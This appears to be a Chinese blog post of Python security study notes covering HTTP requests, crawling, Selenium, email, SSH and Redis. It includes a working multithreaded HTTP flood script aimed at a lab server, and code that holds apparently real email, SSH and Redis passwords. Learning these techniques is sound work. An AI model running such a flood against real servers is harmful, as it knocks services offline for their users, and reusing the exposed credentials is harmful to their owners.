resp = requests.get('http://www.baidu.com')
print(resp.text)
print(resp.headers)

# 发送POST请求
resp = requests.post('http://192.168.142.132:8080/woniusales/',data={"username":"admin","password":"admin123"})
print(resp.text)


# 下载图片
resp = requests.get('http://www.bossqiang.com/img/banner-2.jpg')
with open("./banner.jpg", mode='wb') as f:
    f.write(resp.content)

# 文件上传
file = {"batchfile":open('./banner.jpg',mode='rb')}
data = {"batchname":"GB20220824"}
resp = requests.post(url='http://192.168.142.132:8080/woniusales/goods/upload',data=data,files=file)
print(resp.text)
# 失败，因为要先登录，登录之后获取cookie在post在发送cookie
# 推荐使用：session

session=requests.session()
data = {"username":"admin","password":"admin123","verifycode":'0000'}
resp = session.post("http://192.168.142.132:8080/woniusales/user/login",data=data)
file = {"batchfile":open('./x.xls',mode='rb')}
data = {"batchname":"GB20220824"}
resp = session.post(url='http://192.168.142.132:8080/woniusales/goods/upload',data=data,files=file)
print(resp.text)


# 发送HTTPS
resp=requests.get('http://www.woniuxy.com',verify=False)   #忽略证书
print(resp.text)

Python爬虫

爬虫简介

  • 搜索引擎：百度 谷歌 企业内部的知识库 某些项目专项数据爬取 专业的数据爬取

  • 互联网：

    • 公网（不需要授权的情况就可以流量的内容，搜索引擎的重点）

    • 深网（需要授权才能使用的内容）

    • 暗网（非正式渠道 无法使用常规手段访问）

  • 爬取公网上的公开信息，但是正常情况下，要遵循一个规则：robots协议 君子协议

基本原理

  • 所有的网页均是HTML，HTML首先是一个大的字符串，可以按照字符串处理的方式对响应进行解析处理。

  • 其次，HTML本身也是一门标记语言，和XML同源同宗，可以使用DOM对其文本进行处理

  • 所有的爬虫核心基于超链接，进而实现网站和网页的跳转

  • 如果要实现一个整站爬取程序，首先收集到站内所有网址，并且将重复网址去除，开始爬取内容并保存在本地或数据库，进行实现后续目标

正则表达式

import re,requests,time

def download_page():
    resp = requests.get('http://www.woniunote.com')
    # 解析网页所有超链接
    links = re.findall('<a href="(.+?)"', resp.text)
    for link in links:
        # 根据页面特性 排除无效的超链接
        if 'articleid' in link:
            continue
        if link.startswith('#'):
            continue
        # 拼接完整的url
        if link.startswith("/"):
            link = "http://www.woniunote.com" + link
    # 将页面保存本地
    resp = requests.get(link)
    filename = link.split("/")[-1] + time.strftime("_%Y%m%d_%H%M%S") + ".html"
    resp.encoding = 'utf-8'
    with open(f"../woniunode/page/{filename}", mode="a+", encoding="utf-8") as file:
        file.write(resp.text)
def download_images():
    resp = requests.get("http://www.woniunote.com")
    images = re.findall('<img src="(.+?)"',resp.text)
    for image in images:
        if image.startswith("/"):
            image="http://www.woniunote.com"+image
        filename = image.split("/")[-1]
        resp = requests.get(image)
        with open(f"../woniunode/images/{filename}",mode="wb") as im:
            im.write(resp.content)
if __name__ == '__main__':
    # download_page()
    download_images()

BeautifulSoup

BeautifulSoup4和 lxml 一样，Beautiful Soup 也是一个HTML/XML的解析器，主要的功能也是如何解析和提取 HTML/XML 数据

BeautifulSoup支持Python标准库中的HTML解析器,还支持一些第三方的解析器，如果我们不安装它，则 Python 会使用 Python默认的解析器，lxml 解析器更加强大，速度更快，推荐使用lxml 解析器

Beautiful Soup自动将输入文档转换为Unicode编码，输出文档转换为utf-8编码。你不需要考虑编码方式，除非文档没有指定一个编码方式，这时，Beautiful Soup就不能自动识别编码方式了

BS基于DOM结构进行页面内容解析，当开始解析时，会将整个页面的DOM树保存在内存中，进而实现查找

解析器

  • Python标准库

  • lxml HTML解析器

  • lxml XML解析器

  • html5lib

使用

查找页面元素的通用方法

  • find_all：根据标签、属性、xpath等进行查找

  • select：根据CSS选择器进行查找

from bs4 import BeautifulSoup
import requests

resp = requests.get("http://www.woniunote.com")
# 初始化解析器
html = BeautifulSoup(resp.text,'lxml')
# 查找页面元素 -- 根据标签层次进行查找
print(html.head.title)
# 查找文本
print(html.head.title.string)
# 找到的是第一个div的标签
print(html.div)

# 查找页面元素的通用方法
# find_all：根据标签、属性、xpath等进行查找
# select：CSS选择器

# 查找所有超链接
links = html.find_all('a')
for link in links:
    print(link['href'])
# 根据id选择器
keyword = html.find(id='keyword')
print(keyword["class"])
print(keyword)
# 根据class选择器
titles = html.find_all(class_='title')
for title in titles:
    print(title)

# 根据文本
title = html.find(text='核心实验：利用UISpy识别Windows界面元素')
print(title)

# 查找上一级
print(title.parent)

# 根据xpath风格查找
titles = html.find_all('div',{'class':'title'})

lis = html.select('ul li')
print(lis)

多线程和泛洪攻击

创建多线程（基础）

# 并发操作：如果一个单核的CPU，是不存在严格意义上的并发，只是因为处理时间极短，感觉上是并发
# 针对多核CPU:4核CPU，严格意义上的并发处理是4个

# 进程：每一个应用程序 至少会有一个进程 并且拥有PID和独立的内存空间
# 线程：每一个进程都要有一个对应的线程，线程不会分配独立的内存空间

import threading, time


# 单线程
def test_01():
    print(threading.current_thread().name) # 当前线程的名字
    for i in range(5):
        print(time.strftime("%Y:%m:%d-%H:%M:%S"))
        time.sleep(1)


# 多线程
def test_02():
    print(time.strftime("%Y:%m:%d-%H:%M:%S"))
    time.sleep(1)


if __name__ == '__main__':
    # test_01()  # 当Python执行时，虽没手工启动线程，默认python会启动一个主线程
    for i in range(10):
        t = threading.Thread(target=test_02) # 实例化一个线程，并指定调用test_02函数 有参数的话使用arg=()传入
        t.start() # 启动线程

流量泛洪攻击

# 使用多线程模拟流量泛洪攻击
# 定义一个装饰器 收集响应时间
def performance(func):
    def inner():
        start = time.time()
        func()
        end = time.time()
        print(f"{func.__name__}响应时间:{round(end-start,4)}")
    return inner

session = requests.session()
@performance
def home():
    resp = session.get("http://192.168.142.132:8080/woniusales/")
    if "蜗牛进销存-首页" in resp.text:
        print("首页访问成功")
    else:
        print("首页访问失败")

@performance
def login():
    data = {'username': 'admin', 'password': 'admin123', 'verifycode': '0000'}
    resp = session.post("http://192.168.142.132:8080/woniusales/user/login", data=data)
    print(resp.text)

# 基于http协议进行流量泛洪 压力测试 性能测试
def woniusales_flood():
    for i in range(2000):
        home()
        login()

if __name__ == '__main__':
    for i in range(500):
        threading.Thread(target=woniusales_flood).start()

DOS攻击核心：利用常规技术或特殊技术，想办法消耗掉目标服务器的资源（CPU、内存、硬盘、带宽、连接数等），使其无法正确提供对外服务

自动化处理

Selenium–HTTP

操作Web页面

为什么需要操作Web界面

  • 通常情况下，网络安全相关领域，更多的都是偏重于协议和通信

  • 如果协议通信过程被加密或者无法了解其协议构成，是无法直接通过协议进行处理。此时可以考虑模拟UI操作，进而实现相对应的部分功能

模拟UI操作的原理

  • 运行被操作的程序，使其界面出现

  • 找到被操作的界面元素

    • 基于元素的特征进行识别

    • 图像识别和对比 opencv

  • 对其进行操作：输入、单击、右键等

  • 对操作后的结果进行验证，确认操作是成功的

  • selenium webdriver 通信机制：python模拟客户端发送HTTP请求给webdriver，webdriver驱动浏览器执行

基于Selenium实现
from selenium import webdriver
from selenium.webdriver.common.by import By
# 操作Windows元素使用 uiautomation
# 操作移动端使用 appium

# 需要下载chromedriver,将chromedriver.exe的文件目录放在PATH环境变量下,否则要在参数指定地址
# driver = webdriver.Chrome(executable_path="D:\xxx\xx")

# 第一步:先实例化webdriver对象,用于初始化浏览器操作
driver = webdriver.Chrome() # 打开谷歌
# driver = webdriver.Firefox() # 打开火狐
driver.maximize_window() # 最大化网页

# print(driver.title) # 标题
# print(driver.page_source) # 源码
# print(driver.get_cookies())
# driver.forward()
# driver.back()
# driver.refresh()

# 访问目标网址的页面地址
driver.get("http://192.168.142.132:8080/woniusales/")

# 第二步:利用DOM识别机制,去识别和操作界面的元素
driver.find_element(By.ID,'username').send_keys('admin')
driver.find_element(By.ID,'password').send_keys('admin123')
driver.find_element(By.XPATH,'//input[@id="verifycode"]').send_keys('0000')
driver.find_element(By.CSS_SELECTOR,"body > div.container > div > form > div:nth-child(6) > button").click()

driver.close()

uiautomation

import uiautomation
# ui spy工具识别
calc = uiautomation.WindowControl(Name='计算器')
calc.ButtonControl(AutomationId='num1Button').Click()
calc.ButtonControl(AutomationId='plusButton').Click()
calc.ButtonControl(Name='五').Click()
calc.ButtonControl(Name='等于').Click()

机器学习AI

验证码

  • 短信验证码：用自己的手机获取验证码，然后用python直接操作手机端提取验证码，实现自动化处理的目的

  • 图像验证码：静态和动态

    • 静态的图片验证码利用打码平台或者人工智能训练集进行处理

    • 动态的图片验证码，比如滑动 目前没有很成熟的处理

  • 机器学习

    • 可以处理的类型：文字、视频、图片、语音

    • 如何进行学习：足够多的训练数据 CNN 卷积神经网络

    • 学习数据必须要有正确的标记：图片和对应的正确答案

入侵检测

  • 传递的入侵检测：基于特征，某个流量或者请求，存在可疑的特征时，进行预警或防护

  • 基于AI的入侵检测：基于机器学习 学习大量的正确的数据包和请求，一旦发现某个数据包与已经学习过的数据包匹配度极低，则可疑

python处理其他协议

邮件协议

SMTP POP3 IMAP – 默认明文传输

发送协议

# 导入内置邮件模块
import smtplib,time
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

# 构建邮件主题对象
msg = MIMEMultipart()
msg['Subject'] = 'duyun'
msg['From'] ='2339858821@qq.com'
msg['To']='2673711750@qq.com'

# 构建邮件正文
body = """
<div>这是一个邮件正文</div>
"""
content = MIMEText(body,'html','utf-8')
msg.attach(content)

# 建立与邮件服务器的连接并发送邮件
smtpObj = smtplib.SMTP_SSL('smtp.qq.com')  # 实例化 如果基于SSL则使用smtplib.SMTP_SSL
smtpObj.connect('smtp.qq.com',port=465)
# password 是qq邮箱的授权码
smtpObj.login(user='2339858821@qq.com',password='Du030706Yun.....')
smtpObj.sendmail('2339858821@qq.com','2673711750@qq.com',str(msg))

# 关闭连接
smtpObj.quit()

SSH

import paramiko
# 连接服务器
transport = paramiko.Transport(('192.168.142.132',22))
transport.connect(username='root',password='YBOssing519')

# 实例化客户端
ssh = paramiko.SSHClient()
ssh._transport=transport

# 实例化ftp 传输文件的
sftp = paramiko.SFTPClient.from_transport(transport)

# 执行命令
stdin,stdout,stderr=ssh.exec_command('ls /opt')
ssh.exec_command('echo "duyun">>/opt/duyun.txt')
stdin1,stdout1,stderr1=ssh.exec_command('cat /opt/duyun.txt')
print(stdout.read().decode())
print(stdout1.read().decode())
# 传输文件
# sftp.put('xxx')
sftp.get('/opt/duyun.txt','./duyun.txt') # from...to...

redis

核心协议体

*2   下述指令由两个字符串构成
$4   后续的字符串长度
auth大
$6

TCP连接

import socket

s = socket.socket()
s.connect(('192.168.142.132',6379))
s.send('*2\r\n$4\r\nauth\r\n$6\r\n123456\r\n'.encode())
print(s.recv(1024).decode())

redis连接

import redis
# 建立连接
red = redis.Redis(host='192.168.142.132',port=6379,password='duyun',db=0)

# 调用
red.set('addr','shandong')
print(red.get('addr').decode())

python面向对象

基础知识

# 面向对象的核心特点
# 1.类和实例：类有属性和方法 实例用于调用
# 2.封装：可以决定哪些属性和方法是可以访问的public 受保护的protected 私有的private
# 3.继承：子类继承父类所有可以访问的方法和属性
# 4.多态：强类型编程语言才有严格上的多态

class People:
    # 定义类属性
    course='网络安全'
    # name = ''
    # age = 0
    # addr = ''

    # 定义构造方法：实例化的时候自动调用的放啊，并且可以将实例变量（属性）定义于此
    # self 类实例的引用，与其他语言中 this 关键字类似，类方法的第一个参数建议使用self
    def __init__(self,name='张三',age=30,addr='河南'):
        self.name = name
        self.age = age
        self.addr = addr

    # 定义析构方法:释放内存空间使用
    def __del__(self):
        print('析构函数')

    # 打印类实例的时候调用的魔术方法
    def __str__(self):
        return f'当前类的实例正在被打印,内存地址:{hex(id(self))}'

    # 类方法
    def talk(self):
        print('People is talking')

    def work(self):
        print('People is working')

    # 受保护的方法
    def _test01(self):
        print('受保护的方法')

    # 私有的方法
    def __test02(self):
        print("私有的方法")

    # 静态方法:直接使用类名而非实例调用的方法  静态方法常驻类的内存空间
    @classmethod
    def teach(cls):
        print(cls.course) # 类属性使用类的引用cls引用


# 继承
class Men(People):
    pass


if __name__ == '__main__':
    # 基本类的实例化
    # p1 = People()  # 类的实例化
    # p1.name # 没有实例变量的时候找类变量

    # 构造方法实例化
    p2=People('duyun',19,'山东')
    print(p2.name)

    # 类的静态方法直接使用类名调用  可以使用实例进行调用但是不建议
    People.teach()
    p2.teach()

    print(p2)

    m=Men()
    m._test01()

封装操作mysql

import pymysql
from pymysql.cursors import DictCursor

class DB:
    def __init__(self, host='localhost', user='root', password='duyun', database='test', charset='utf8',type='default'):
        self.conn = pymysql.connect(host=host, user=user, password=password, database=database, charset=charset)
        if type =='default':
            self.cursor = self.conn.cursor()
        elif type == 'dict':
            self.cursor = self.conn.cursor(DictCursor)
        else:
            raise Exception("传入type不正确")

    def query(self,sql):
        self.cursor.execute(sql)
        result = self.cursor.fetchall()
        return result

    def update(self,sql):
        try:
            self.cursor.execute(sql)
            self.conn.commit()
            print('更新成功')
        except:
            print("更新失败")

    def __del__(self):
        self.conn.close()


if __name__ == '__main__':
    db=DB(type='dict')
    db.update('update name set id=4 where id=2 ')
    res = db.query('select * from name')
    print(res)
Python基础知识点总结
Python全栈系列
08-25 8万+
本文包括python基本知识：简单数据结构，数据结构类型（可变：列表，字典，集合，不可变：数值类型，字符串，元组），分支循环和控制流程，类和函数，文件处理和异常等等。
《Python基础教程》内容总览篇（持续更新中）
最新发布
weixin_43178406的博客
08-26 30万+
大家好，我是爱编程的喵喵。双985硕士毕业，现担任全栈工程师一职，热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为优快云博客专家、人工智能领域优质创作者。喜欢通过博客创作的方式对所学的知识进行总结与归纳，不仅形成深入且独到的理解，而且能够帮助新手快速入门。个人精心开设的《Python基础课程》专栏订阅量接近900，帮助不少同学解决了Bug。
《Python安全攻防》配套视频 之 第一个python程序
Ms08067安全实验室
11-04 716
如果你立志成为一名合格的安全从业者，想突破“脚本小子”的瓶颈，成为真正的黑客，想拥有自己打造出来的属于自己的神兵利器！《Python安全攻防：渗透测试实战指南》已经出版，配套星球现在可以...
python安全指南
Kevin & Python & Story
01-12 3842
通用类 I. 代码实现 1.1 加密算法 1.1.1 【必须】避免使用不安全的对称加密算法 1.2 程序日志 1.2.1 【建议】对每个重要行为都记录日志 1.2.2 【建议】禁止将未经验证的用户输入直接记录日志 1.2.3 【建议】避免在日志中保存敏感信息 1.3 系统口令 1.3.1 【必须】禁止使用空口令、弱口令、已泄露口令 1.3.2 【必须】口令强度要求 1.3.3 【必须】口令存储安全 1.3.4 【必须】禁止传递明文口令 1.3.5 【必须】禁止在不安全的信道中传输口令 .
python 人气高的项目_给大家推荐：五个Python小项目，Github上的人气很高的
weixin_39620943的博客
12-10 176
deepfake 的深度学习技术，这款工具本来的用途是用来识别和交换图片、视频中人物脸部图像的工具 。该项目有多个入口，你需要做的事：● 收集照片● 从原始照片中提取面部图像● 在照片上训练模型● 使用模型转换源代码3.神经网络库 kerashttps://github.com/keras-team/kerasKeras 是一个极简的、高度模块化的神经网络库，采用 Python(Python 2....
python为什么安全_为什么Python多处理管道不安全？
weixin_39976251的博客
12-18 179
我不明白为什么当存在多个发送者和接收者时^{}被称为不安全。如果是这样，如何使用^{}将以下代码转换为代码？Queues关闭时不要抛出EOFError，因此我的进程无法停止。我是否应该不断地发送“毒药”消息，告诉他们停止(这样，我确信我的所有进程都至少收到一种毒药)？我想让管道p1一直打开，直到我决定不打开为止(这里是我发送10条消息的时间)。from multiprocessing import...
python和信息安全_Python与系统安全
weixin_39825872的博客
12-05 272
一、概要信息安全是运维的根本，直接关系到企业的安危，稍有不慎会造成灾难性的后果。本文主要讲述如何通过Python来实现系统级的安全防范策略，包括构建集中式的病毒扫描机制、端口安全扫描、安全密码生成等。二、构建集中式病毒扫描机制Clam AntiVirus(ClamAV)是一款免费而且开放源代码的防毒软件，软件与病毒库的更新皆由社区免费发布，官网地址 https://www.clamav.net/。...
《Python编程基础》课程标准.docx
06-13
《Python编程基础》课程标准详细规定了中等职业学校物联网技术应用专业二年级学生的课程内容，旨在培养学生Python程序设计的基本知识和技能。本课程作为专业技能课程，与前后课程如《单片机控制技术》和《传感网应用...
python网络编程基础
02-15
Python网络编程基础是入门Python网络应用开发的重要领域，它涵盖了从基本的网络概念到复杂的网络交互技术。在Python中，网络编程主要涉及TCP/IP协议、HTTP协议、套接字编程、Web服务API调用等多个方面。下面将详细...
Python 安全编程教程.pdf
10-22
在学习Python安全编程时，建议有基础的编程知识，因为课程内容覆盖了从基础的变量声明、数据类型转换到复杂的网络协议和漏洞利用。通过学习，可以掌握如何利用Python来编写安全工具，并对网络安全进行深入的研究。...
Python网络安全项目开发实战_扫描漏洞_编程案例解析实例详解课程教程.pdf
04-27
某个时期，有很多完全不懂网络常识的人都可以直接用黑客工具攻击系统，这些人被高手们称为脚本小子。做个脚本小子并不难，只需要一点点的英语基础（认识基本的计算机单词即可，毕竟很多软件都是英文版的），熟练地使用黑客工具，再熟悉几个简单的命令，就可以对网络上的计算机造成很大的破坏。
Python-Python安全脚本
08-10
Python安全脚本
Python网络安全项目开发实战_利用Python监测漏洞_编程案例解析实例详解课程教程.pdf
04-27
任何软件和系统都没法保证百分之百的安全。但当某个软件发现了漏洞，它就会影响众多的使用者。对于这种情况，我们只能常看相关的论坛，积极地打补丁修补，没有什么更好的办法应对。网络上公布的漏洞很多，只要发布新漏洞的第一时间就用工具去搜索、攻击就能“拿”到大批的站点。对于这些漏洞，网络管理员与攻击者比较的不是谁的技术更高，而是谁更加勤奋。避免被攻击，一定要勤打补丁。
python安全编程教程_Python安全编程项目实训教程
weixin_30300027的博客
02-10 376
目 录项目1　了解Python任务1　认识Python任务2　为什么学习Python任务3　如何学习Python课后作业项目2　编程环境的搭建和调试任务1　在不同操作系统中搭建编程环境任务2　在不同操作系统中调试Python程序任务3　PyCharm的使用任务4　PyCharm的常用设置任务5　Python基本语法规范同步练习：在不同操作系统中搭建编程环境和调试Python程序课后作业项目3　条件...
学习笔记-Python安全
人饭子的博客
11-01 273
Python安全 免责声明 本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关. 代码混淆 Hnfull/Intensio-Obfuscator: Obfuscate a python code 2.x and 3.x 编译成二进制 Pyinstaller py2exe Nuitka/Nuitka 隐藏 Traceback 信息 P...
【安全开发】python安全编码规范
11-30 543
申明：本文非笔者原创，原文转载自：https://github.com/SecurityPaper/SecurityPaper-web/blob/master/_posts/2.SDL%E8%A7%84%E8%8C%83%E6%96%87%E6%A1%A3/2018-08-17-SDL-4-python%E5%AE%89%E5%85%A8%E7%BC%96%E7%A0%81%E8%A7%...
python安全性_在Python中输入安全性
weixin_34180452的博客
02-10 184
我定义了一个Vector类，它有三个属性变量：x，y和z。坐标必须是实数，但没有什么可以阻止人们做以下事情：>>> v = Vector(8, 7.3, -1)>>> v.x = "foo">>> v.x"foo"我可以这样实现“类型安全”：import numbersclass Vector:def __init__(self, x, y, ...
网络安全-python脚本资源整理
关注网络安全、云原生安全
06-30 4155
注：本文章用于博主搜集python脚本，对于可以运行的脚本进行汇总和结果展示，大部分代码来源于网络，侵删。 爬取免费HTTP及HTTPS代理 #!/usr/bin/env python3 # coding:utf-8 # date:2019/04/17 # 免费代理爬取 from gevent import monkey monkey.patch_all() import gevent import requests from bs4 import BeautifulSoup headers =
python安全编程学习
yida223的博客
05-12 1443
python正则表达式 python使用re模块提供对正则表达式的支持 import re 先将正则表达式的字符串形式编译成pattern实例 p = re.compile('hello') 使用pattern实例处理文本并获得匹配结果 m = p.match('hello world') 使用实例获得信息，进行其他操作 m.group() => 'hello' 或直接： word = ...
Python基础面试知识点精华
这些内容是针对准备Python基础面试或者想要巩固基础知识的人群。 1. Python常见异常类型 Python中的异常是程序运行时出现错误的表示。以下是一些常见的异常类型： - FloatingPointError: 浮点计算时出现错误，如除...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值